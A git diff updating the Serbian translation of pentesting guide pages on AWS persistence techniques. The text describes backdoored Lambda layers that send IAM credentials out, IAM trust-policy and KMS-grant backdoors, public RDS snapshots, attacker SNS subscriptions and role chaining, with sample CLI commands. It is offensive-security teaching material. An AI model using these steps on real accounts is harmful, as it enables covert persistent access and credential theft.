diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index 88844d798..7513eeb7e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -12,17 +12,17 @@ Za više informacija pogledajte:
### Održavanje u Instanci
-Da bi se održala postojanost unutar AWS naloga, neki **mehanizam postojanosti može biti uveden unutar instance** (cron job, ssh ključ...) tako da napadač može da pristupi i ukrade IAM ulogu **akreditiva iz metadata servisa**.
+Da bi se održala postojanost unutar AWS naloga, neki **mehanizam postojanosti može biti uveden unutar instance** (cron job, ssh ključ...) tako da napadač može da mu pristupi i ukrade IAM ulogu **akreditiva iz metadata servisa**.
-### Bekdor u Verziji
+### Backdoor u Verziji
-Napadač bi mogao da ubaci bekdor u kod unutar S3 repozitorijuma tako da se uvek izvršava njegov bekdor i očekivani kod.
+Napadač bi mogao da ubaci backdoor u kod unutar S3 repozitorijuma tako da uvek izvršava svoj backdoor i očekivani kod.
-### Nova verzija sa bekdorom
+### Nova verzija sa backdoor-om
-Umesto da menja kod na aktuelnoj verziji, napadač bi mogao da implementira novu verziju aplikacije sa bekdorom.
+Umesto da menja kod na aktuelnoj verziji, napadač bi mogao da implementira novu verziju aplikacije sa backdoor-om.
-### Zloupotreba Prilagođenih Resursa Lifecycle Hooks
+### Zloupotreba Prilagođenih Resursnih Lifecycle Hooks
> [!NOTE]
> TODO: Test
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index d12ca7ca9..7e4abfe78 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -1,4 +1,4 @@
-# AWS - IAM Persistence
+# AWS - IAM Persistencija
{{#include ../../../banners/hacktricks-training.md}}
@@ -21,7 +21,7 @@ Za više informacija pristupite:
### Politike poverenja za backdoor uloge
-Možete napraviti backdoor u politiku poverenja kako biste mogli da je preuzmete za spoljašnji resurs koji kontrolišete (ili za sve):
+Možete dodati backdoor u politiku poverenja kako biste mogli da je preuzmete za spoljašnji resurs koji kontrolišete (ili za sve):
```json
{
"Version": "2012-10-17",
@@ -36,11 +36,11 @@ Možete napraviti backdoor u politiku poverenja kako biste mogli da je preuzmete
]
}
```
-### Backdoor Policy Version
+### Politika zadnjih vrata
-Dajte Administrator dozvole politici koja nije u njenoj poslednjoj verziji (poslednja verzija treba da izgleda legitimno), a zatim dodelite tu verziju politike kontrolisanom korisniku/grupi.
+Dajte Administrator dozvole politici koja nije njena poslednja verzija (poslednja verzija treba da izgleda legitimno), a zatim dodelite tu verziju politike kontrolisanom korisniku/grupi.
-### Backdoor / Create Identity Provider
+### Zadnja vrata / Kreiraj provajdera identiteta
Ako nalog već veruje u zajedničkog provajdera identiteta (kao što je Github), uslovi poverenja mogu biti pojačani kako bi napadač mogao da ih zloupotrebi.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 75396f010..f7ae9a0cc 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -4,7 +4,7 @@
## KMS
-Za više informacija pogledajte:
+Za više informacija proverite:
{{#ref}}
../aws-services/aws-kms-enum.md
@@ -12,13 +12,13 @@ Za više informacija pogledajte:
### Dodeljivanje pristupa putem KMS politika
-Napadač može koristiti dozvolu **`kms:PutKeyPolicy`** da **dodeli pristup** ključa korisniku pod njegovom kontrolom ili čak eksternom nalogu. Pogledajte [**KMS Privesc stranicu**](../aws-privilege-escalation/aws-kms-privesc.md) za više informacija.
+Napadač može koristiti dozvolu **`kms:PutKeyPolicy`** da **dodeli pristup** ključa korisniku pod njegovom kontrolom ili čak eksternom nalogu. Proverite [**KMS Privesc stranicu**](../aws-privilege-escalation/aws-kms-privesc.md) za više informacija.
### Večna Dodela
Dodele su još jedan način da se principalu daju neka ovlašćenja nad specifičnim ključem. Moguće je dodeliti dodelu koja omogućava korisniku da kreira dodele. Štaviše, korisnik može imati nekoliko dodela (čak i identičnih) nad istim ključem.
-Stoga, moguće je da korisnik ima 10 dodela sa svim ovlašćenjima. Napadač bi trebao stalno pratiti ovo. A ako u nekom trenutku 1 dodela bude uklonjena, treba generisati još 10.
+Stoga, moguće je da korisnik ima 10 dodela sa svim ovlašćenjima. Napadač bi trebao stalno pratiti ovo. A ako u nekom trenutku 1 dodela bude uklonjena, treba generisati još 10.
(Koristimo 10, a ne 2, da bismo mogli da detektujemo da je dodela uklonjena dok korisnik još uvek ima neku dodelu)
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 5a68d0add..3d833c9aa 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -4,7 +4,7 @@
## Lambda
-Za više informacija pogledajte:
+Za više informacija proverite:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ Za više informacija pogledajte:
### Lambda Layer Persistence
-Moguće je **uvesti/otvoriti backdoor u layer da izvrši proizvoljan kod** kada se lambda izvršava na diskretan način:
+Moguće je **uvesti/otvoriti backdoor u layer za izvršavanje proizvoljnog koda** kada se lambda izvršava na diskretan način:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -26,35 +26,35 @@ Zloupotrebom Lambda Layers takođe je moguće zloupotrebiti ekstenzije i persist
aws-abusing-lambda-extensions.md
{{#endref}}
-### Putem politika resursa
+### Via resource policies
-Moguće je dodeliti pristup različitim lambda akcijama (kao što su pozivanje ili ažuriranje koda) spoljnim nalozima:
+Moguće je dodeliti pristup različitim lambda akcijama (kao što su pozivanje ili ažuriranje koda) spoljnim računima:
-### Verzije, Alias-i & Težine
+### Versions, Aliases & Weights
Lambda može imati **različite verzije** (sa različitim kodom za svaku verziju).\
Zatim, možete kreirati **različite alias-e sa različitim verzijama** lambde i postaviti različite težine za svaku.\
-Na ovaj način napadač bi mogao kreirati **backdoored verziju 1** i **verziju 2 sa samo legitimnim kodom** i **izvršavati verziju 1 u 1%** zahteva da ostane diskretan.
+Na ovaj način napadač bi mogao da kreira **backdoored verziju 1** i **verziju 2 sa samo legitimnim kodom** i **izvršava samo verziju 1 u 1%** zahteva kako bi ostao diskretan.
-### Verzija Backdoor + API Gateway
+### Version Backdoor + API Gateway
1. Kopirajte originalni kod Lambde
-2. **Kreirajte novu verziju sa backdoor-om** originalnog koda (ili samo sa malicioznim kodom). Objavite i **implementirajte tu verziju** na $LATEST
+2. **Kreirajte novu verziju sa backdoor-om** originalnog koda (ili samo sa zlonamernim kodom). Objavite i **implementirajte tu verziju** na $LATEST
1. Pozovite API gateway povezan sa lambdom da izvrši kod
3. **Kreirajte novu verziju sa originalnim kodom**, objavite i implementirajte tu **verziju** na $LATEST.
1. Ovo će sakriti backdoored kod u prethodnoj verziji
4. Idite na API Gateway i **kreirajte novu POST metodu** (ili izaberite bilo koju drugu metodu) koja će izvršiti backdoored verziju lambde: `arn:aws:lambda:us-east-1::function::1`
-1. Obratite pažnju na završni :1 u arn **koji označava verziju funkcije** (verzija 1 će biti backdoored u ovom scenariju).
+1. Imajte na umu konačno :1 u arn **koji označava verziju funkcije** (verzija 1 će biti backdoored u ovom scenariju).
5. Izaberite kreiranu POST metodu i u Akcijama izaberite **`Deploy API`**
-6. Sada, kada **pozovete funkciju putem POST-a vaš Backdoor** će biti aktiviran
+6. Sada, kada **pozovete funkciju putem POST-a, vaš Backdoor** će biti aktiviran
### Cron/Event actuator
-Činjenica da možete **izvršavati lambda funkcije kada se nešto desi ili kada prođe određeno vreme** čini lambdu lepim i uobičajenim načinom za postizanje persistencije i izbegavanje otkrivanja.\
+Činjenica da možete **pokrenuti lambda funkcije kada se nešto dogodi ili kada prođe određeno vreme** čini lambdu lepim i uobičajenim načinom za postizanje persistencije i izbegavanje otkrivanja.\
Evo nekoliko ideja kako da učinite svoju **prisutnost u AWS-u diskretnijom kreiranjem lambdi**.
- Svaki put kada se kreira novi korisnik, lambda generiše novi korisnički ključ i šalje ga napadaču.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 3a2591d0d..5f1c486f1 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,8 +1,8 @@
-# AWS - Abusing Lambda Extensions
+# AWS - Zloupotreba Lambda Ekstenzija
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Extensions
+## Lambda Ekstenzije
Lambda ekstenzije poboljšavaju funkcije integracijom sa raznim **alatima za praćenje, posmatranje, bezbednost i upravljanje**. Ove ekstenzije, dodate putem [.zip arhiva koristeći Lambda slojeve](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ili uključene u [implementacije kontejnerskih slika](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), rade u dva režima: **interni** i **eksterni**.
@@ -11,11 +11,11 @@ Lambda ekstenzije poboljšavaju funkcije integracijom sa raznim **alatima za pra
Za više informacija o [**kako lambda ekstenzije funkcionišu proverite dokumentaciju**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-### Eksterni Ekstenzija za Održavanje, Krađu Zahteva & Modifikovanje Zahteva
+### Eksterni Ekstenzija za Održavanje, Krađu Zahteva i Modifikaciju Zahteva
Ovo je sažetak tehnike predložene u ovom postu: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-Otkriveno je da je podrazumevani Linux kernel u Lambda okruženju izvršavanja kompajliran sa “**process_vm_readv**” i “**process_vm_writev**” sistemskim pozivima. I svi procesi se izvršavaju sa istim korisničkim ID-jem, čak i novi proces kreiran za eksternu ekstenziju. **To znači da eksterni ekstenzija ima potpuni pristup za čitanje i pisanje u Rapidovu heap memoriju, po dizajnu.**
+Otkriveno je da je podrazumevani Linux kernel u Lambda okruženju izvršavanja kompajliran sa “**process_vm_readv**” i “**process_vm_writev**” sistemskim pozivima. I svi procesi se izvršavaju sa istim korisničkim ID-jem, čak i novi proces kreiran za eksternu ekstenziju. **To znači da eksterni ekstenzija ima pun pristup za čitanje i pisanje u Rapidovu heap memoriju, po dizajnu.**
Štaviše, dok Lambda ekstenzije imaju mogućnost da **pretplate na događaje invokacije**, AWS ne otkriva sirove podatke ovim ekstenzijama. Ovo osigurava da **ekstenzije ne mogu pristupiti osetljivim informacijama** koje se prenose putem HTTP zahteva.
@@ -28,13 +28,13 @@ Promenljiva **`AWS_LAMBDA_RUNTIME_API`** označava **IP** adresu i **broj** port
> [!WARNING]
> Promenom **`AWS_LAMBDA_RUNTIME_API`** promenljive okruženja na **`port`** kojem imamo pristup, moguće je presresti sve akcije unutar Lambda izvršavanja (**man-in-the-middle**). Ovo je moguće jer ekstenzija radi sa istim privilegijama kao Rapid Init, a kernel sistema omogućava **modifikaciju memorije procesa**, omogućavajući promenu broja porta.
-Budući da **ekstenzije rade pre bilo kog koda izvršavanja**, modifikovanje promenljive okruženja će uticati na proces izvršavanja (npr. Python, Java, Node, Ruby) kada se pokrene. Štaviše, **ekstenzije učitane nakon** naše, koje se oslanjaju na ovu promenljivu, takođe će prolaziti kroz našu ekstenziju. Ova postavka bi mogla omogućiti malveru da potpuno zaobiđe bezbednosne mere ili ekstenzije za logovanje direktno unutar okruženja izvršavanja.
+Budući da **ekstenzije rade pre bilo kog koda izvršavanja**, modifikacija promenljive okruženja će uticati na proces izvršavanja (npr. Python, Java, Node, Ruby) kada se pokrene. Štaviše, **ekstenzije učitane nakon** naše, koje se oslanjaju na ovu promenljivu, takođe će prolaziti kroz našu ekstenziju. Ova postavka bi mogla omogućiti malveru da potpuno zaobiđe bezbednosne mere ili ekstenzije za logovanje direktno unutar okruženja izvršavanja.
Alat [**lambda-spy**](https://github.com/clearvector/lambda-spy) je kreiran da izvrši tu **memorijsku pisanje** i **ukrade osetljive informacije** iz lambda zahteva, drugih **ekstenzija** **zahteva** i čak **modifikuje ih**.
-## References
+## Reference
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index e4254c8fe..856cbda79 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -4,13 +4,13 @@
## Lambda Layers
-Lambda layer je .zip datoteka koja **može sadržati dodatni kod** ili drugi sadržaj. Layer može sadržati biblioteke, [prilagođeno vreme izvršavanja](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), podatke ili konfiguracione datoteke.
+Lambda layer je .zip arhiva koja **može sadržati dodatni kod** ili drugi sadržaj. Layer može sadržati biblioteke, [prilagođeno vreme izvršavanja](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), podatke ili konfiguracione datoteke.
-Moguće je uključiti do **pet layera po funkciji**. Kada uključite layer u funkciju, **sadržaj se ekstraktuje u `/opt`** direktorijum u okruženju izvršavanja.
+Moguće je uključiti do **pet layer-a po funkciji**. Kada uključite layer u funkciju, **sadržaj se ekstrakuje u `/opt`** direktorijum u okruženju izvršavanja.
-Po **defaultu**, **layeri** koje kreirate su **privatni** za vaš AWS nalog. Možete odlučiti da **podelite** layer sa drugim nalozima ili da **napravite** layer **javnim**. Ako vaše funkcije koriste layer koji je objavio drugi nalog, vaše funkcije mogu **nastaviti da koriste verziju layera nakon što je obrisana, ili nakon što je vaša dozvola za pristup layeru opozvana**. Međutim, ne možete kreirati novu funkciju ili ažurirati funkcije koristeći obrisanu verziju layera.
+Po **default-u**, **layer-i** koje kreirate su **privatni** za vaš AWS nalog. Možete odlučiti da **podelite** layer sa drugim nalozima ili da **napravite** layer **javnim**. Ako vaše funkcije koriste layer koji je objavio drugi nalog, vaše funkcije mogu **nastaviti da koriste verziju layer-a nakon što je obrisana, ili nakon što je vaša dozvola za pristup layer-u opozvana**. Međutim, ne možete kreirati novu funkciju ili ažurirati funkcije koristeći obrisanu verziju layer-a.
-Funkcije koje su implementirane kao slika kontejnera ne koriste layer-e. Umesto toga, pakujete svoje omiljeno vreme izvršavanja, biblioteke i druge zavisnosti u sliku kontejnera kada gradite sliku.
+Funkcije koje su implementirane kao kontejnerska slika ne koriste layer-e. Umesto toga, pakujete svoje omiljeno vreme izvršavanja, biblioteke i druge zavisnosti u kontejnersku sliku kada gradite sliku.
### Python load path
@@ -32,7 +32,7 @@ Stoga, zahtevi su:
> [!WARNING]
> Kada se zloupotrebljava ova tehnika, naišao sam na poteškoću: Neke biblioteke su **već učitane** u python runtime kada se vaš kod izvršava. Očekivao sam da pronađem stvari poput `os` ili `sys`, ali **čak je i `json` biblioteka bila učitana**.\
-> Da bi se zloupotrebila ova tehnika postojanosti, kod treba da **učita novu biblioteku koja nije učitana** kada se kod izvršava.
+> Da bi se zloupotrebila ova tehnika postojanosti, kod mora da **učita novu biblioteku koja nije učitana** kada se kod izvršava.
Sa python kodom poput ovog moguće je dobiti **listu biblioteka koje su unapred učitane** unutar python runtime-a u lambda:
```python
@@ -54,9 +54,9 @@ I ovo je lista **biblioteka** koje **lambda uključuje instalirane po defaultu**
U ovom primeru pretpostavimo da ciljani kod uvozi **`csv`**. Mi ćemo **napraviti backdoor za uvoz `csv` biblioteke**.
-Da bismo to uradili, kreiraćemo **direktorijum csv** sa fajlom **`__init__.py`** u njemu na putanji koja se učitava od strane lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Zatim, kada se lambda izvrši i pokuša da učita **csv**, naš **`__init__.py` fajl će biti učitan i izvršen**.\
-Ovaj fajl mora:
+Da bismo to uradili, kreiraćemo direktorijum csv sa datotekom **`__init__.py`** u putanji koja se učitava od strane lambda: **`/opt/python/lib/python3.9/site-packages`**\
+Zatim, kada se lambda izvrši i pokuša da učita **csv**, naša **`__init__.py` datoteka će biti učitana i izvršena**.\
+Ova datoteka mora:
- Izvršiti naš payload
- Učitati originalnu csv biblioteku
@@ -85,7 +85,7 @@ sys.modules["csv"] = _csv
```
Zatim, kreirajte zip sa ovim kodom na putanji **`python/lib/python3.9/site-packages/__init__.py`** i dodajte ga kao lambda layer.
-Ovaj kod možete pronaći na [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
+Možete pronaći ovaj kod na [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
Integrisani payload će **poslati IAM kredencijale na server PRVI PUT kada se pozove ili NAKON resetovanja lambda kontejnera** (promena koda ili hladna lambda), ali **druge tehnike** kao što su sledeće takođe mogu biti integrisane:
@@ -93,17 +93,17 @@ Integrisani payload će **poslati IAM kredencijale na server PRVI PUT kada se po
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
-### Eksterni Layeri
+### Spoljni Layers
-Napomena da je moguće koristiti **lambda layer-e iz eksternih naloga**. Štaviše, lambda može koristiti layer iz eksternog naloga čak i ako nema dozvole.\
-Takođe, napomena da je **maksimalan broj layer-a koje lambda može imati 5**.
+Napomena da je moguće koristiti **lambda layers iz spoljnih naloga**. Štaviše, lambda može koristiti layer iz spoljnog naloga čak i ako nema dozvole.\
+Takođe, napomena da je **maksimalan broj layers koje lambda može imati 5**.
Stoga, kako bi poboljšao svestranost ove tehnike, napadač bi mogao:
-- Backdoor-ovati postojeći layer korisnika (ništa nije eksterno)
+- Backdoor-ovati postojeći layer korisnika (ništa nije spoljno)
- **Kreirati** **layer** u **svojim nalogu**, dati **nalogu žrtve pristup** da koristi layer, **konfigurisati** **layer** u Lambda žrtve i **ukloniti dozvolu**.
-- **Lambda** će i dalje moći da **koristi layer** i **žrtva neće** imati lak način da **preuzme kod layer-a** (osim ako ne dobije rev shell unutar lambda)
-- Žrtva **neće videti eksterne layer-e** korišćene sa **`aws lambda list-layers`**
+- **Lambda** će i dalje moći da **koristi layer** i **žrtva neće** imati lak način da **preuzme kod layers-a** (osim ako ne dobije rev shell unutar lambda)
+- Žrtva **neće videti spoljne layers** korišćene sa **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 21e62d742..43df69da6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -4,7 +4,7 @@
## Lightsail
-Za više informacija proverite:
+Za više informacija pogledajte:
{{#ref}}
../aws-services/aws-lightsail-enum.md
@@ -12,7 +12,7 @@ Za više informacija proverite:
### Preuzmite SSH ključeve instance i lozinke za DB
-Verovatno se neće promeniti, tako da ih imati je dobra opcija za postojanost
+Verovatno se neće menjati, tako da ih imati je dobra opcija za postojanost
### Backdoor instance
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index 5643fbe36..3643de852 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -12,13 +12,13 @@ Za više informacija pogledajte:
### Omogućite javni pristup instanci: `rds:ModifyDBInstance`
-Napadač sa ovom dozvolom može **modifikovati postojeću RDS instancu kako bi omogućio javni pristup**.
+Napadač sa ovom dozvolom može **modifikovati postojeću RDS instancu da omogući javni pristup**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
### Kreirajte admin korisnika unutar DB
-Napadač može jednostavno **napraviti korisnika unutar DB** tako da čak i ako se lozinka glavnog korisnika promeni, on **ne gubi pristup** bazi podataka.
+Napadač može jednostavno **napraviti korisnika unutar DB** tako da čak i ako se lozinka glavnog korisnika izmeni, on **ne gubi pristup** bazi podataka.
### Učinite snimak javnim
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index e197d2916..89306fb49 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -1,4 +1,4 @@
-# AWS - S3 Persistence
+# AWS - S3 Persistencija
{{#include ../../../banners/hacktricks-training.md}}
@@ -16,7 +16,7 @@ Kada je proces enkripcije završen, korisnik će koristiti KMS API da generiše
-Stoga, napadač bi mogao da dobije ovaj ključ iz metapodataka i dekriptuje sa KMS (`aws kms decrypt`) da bi dobio ključ koji je korišćen za enkripciju informacija. Na ovaj način, napadač će imati ključ za enkripciju i ako se taj ključ ponovo koristi za enkripciju drugih datoteka, moći će da ga iskoristi.
+Stoga, napadač bi mogao da dobije ovaj ključ iz metapodataka i dekriptuje ga sa KMS (`aws kms decrypt`) da bi dobio ključ koji je korišćen za enkripciju informacija. Na ovaj način, napadač će imati ključ za enkripciju i ako se taj ključ ponovo koristi za enkripciju drugih datoteka, moći će da ga iskoristi.
### Korišćenje S3 ACL-a
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 02c9062ab..796805b27 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -14,7 +14,7 @@ Za više informacija pogledajte:
Moguće je **dodeliti pristup tajnama spoljnim nalozima** putem politika resursa. Pogledajte [**stranicu o Privesc-u za Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) za više informacija. Imajte na umu da da bi **pristupio tajni**, spoljni nalog će takođe **morati da ima pristup KMS ključu koji enkriptuje tajnu**.
-### Putem Lambda funkcije za rotaciju tajni
+### Putem Lambda rotacije tajni
Da bi se **automatski rotirale tajne**, poziva se konfigurisana **Lambda**. Ako bi napadač mogao da **izmeni** **kod**, mogao bi direktno da **izvuče novu tajnu** za sebe.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 8f8875482..880043459 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -12,8 +12,8 @@ Za više informacija pogledajte:
### Persistence
-Kada kreirate **SNS temu**, potrebno je da navedete IAM politikom **ko ima pristup za čitanje i pisanje**. Moguće je navesti spoljne naloge, ARN uloga, ili **čak "\*"**.\
-Sledeća politika daje svima u AWS-u pristup za čitanje i pisanje u SNS temu pod nazivom **`MySNS.fifo`**:
+Kada kreirate **SNS temu**, potrebno je da naznačite sa IAM politikom **ko ima pristup za čitanje i pisanje**. Moguće je naznačiti spoljne naloge, ARN uloga, ili **čak "\*"**.\
+Sledeća politika daje svima u AWS-u pristup za čitanje i pisanje u SNS temi pod nazivom **`MySNS.fifo`**:
```json
{
"Version": "2008-10-17",
@@ -67,7 +67,7 @@ Sledeća politika daje svima u AWS-u pristup za čitanje i pisanje u SNS temu po
Da bi se nastavilo sa eksfiltracijom svih poruka sa svih tema, napadač može **kreirati pretplatnike za sve teme**.
-Napomena: ako je **tema tipa FIFO**, samo pretplatnici koji koriste protokol **SQS** mogu se koristiti.
+Napomena: ako je **tema tipa FIFO**, mogu se koristiti samo pretplatnici koji koriste protokol **SQS**.
```bash
aws sns subscribe --region \
--protocol http \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 19a9d914b..58d215082 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -32,6 +32,6 @@ Sledeća politika daje svima u AWS-u pristup svemu u redu pod nazivom **MyTestQu
}
```
> [!NOTE]
-> Možete čak **pokrenuti Lambda u nalogu napadača svaki put kada se nova poruka** stavi u red (morali biste je ponovo staviti) na neki način. Za ovo pratite ove instrukcije: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> Možete čak **pokrenuti Lambda funkciju u nalogu napadača svaki put kada se nova poruka** stavi u red (morali biste je ponovo staviti) na neki način. Za ovo pratite ove upute: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index 3bd0aae28..1bf2dfc05 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1 +1 @@
-# AWS - SSM Perssitence
+# AWS - SSM Persistencija
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 8dc3aeb6e..b02007fd6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -12,10 +12,10 @@ Za više informacija pogledajte:
### Backdooring step funkcija
-Backdoor-ujte step funkciju da izvršava bilo koju tehniku persistencije tako da svaki put kada se izvrši, pokreće vaše zlonamerne korake.
+Backdoor-ujte step funkciju da izvršava bilo koju tehniku persistencije tako da svaki put kada se izvrši, pokreće vaše maliciozne korake.
### Backdooring aliasa
-Ako AWS nalog koristi alias za pozivanje step funkcija, bilo bi moguće modifikovati alias da koristi novu backdoor-ovanu verziju step funkcije.
+Ako AWS nalog koristi alias-e za pozivanje step funkcija, bilo bi moguće modifikovati alias da koristi novu backdoor-ovanu verziju step funkcije.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 9748e8d7f..693027cf8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -12,7 +12,7 @@ Za više informacija pristupite:
### Assume role token
-Privremeni tokeni se ne mogu listati, tako da održavanje aktivnog privremenog tokena predstavlja način za održavanje postojanosti.
+Privremeni tokeni ne mogu biti navedeni, tako da održavanje aktivnog privremenog tokena predstavlja način za održavanje postojanosti.
aws sts get-session-token --duration-seconds 129600
@@ -21,16 +21,16 @@ aws sts get-session-token \
--serial-number <mfa-device-name> \
--token-code <code-from-token>
-# Ime hardverskog uređaja je obično broj sa zadnje strane uređaja, kao što je GAHT12345678
+# Ime hardverskog uređaja obično je broj sa zadnje strane uređaja, kao što je GAHT12345678
# Ime SMS uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:sms-mfa/username
# Ime virtuelnog uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:mfa/username
### Role Chain Juggling
-[**Lanci uloga su priznata AWS funkcija**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često korišćena za održavanje stealth postojanosti. Uključuje sposobnost da **preuzmete ulogu koja zatim preuzima drugu**, potencijalno se vraćajući na početnu ulogu na **cikličan način**. Svaki put kada se preuzme uloga, polje isteka kredencijala se osvežava. Kao rezultat, ako su dve uloge konfigurisane da međusobno preuzimaju jedna drugu, ova postavka omogućava večnu obnovu kredencijala.
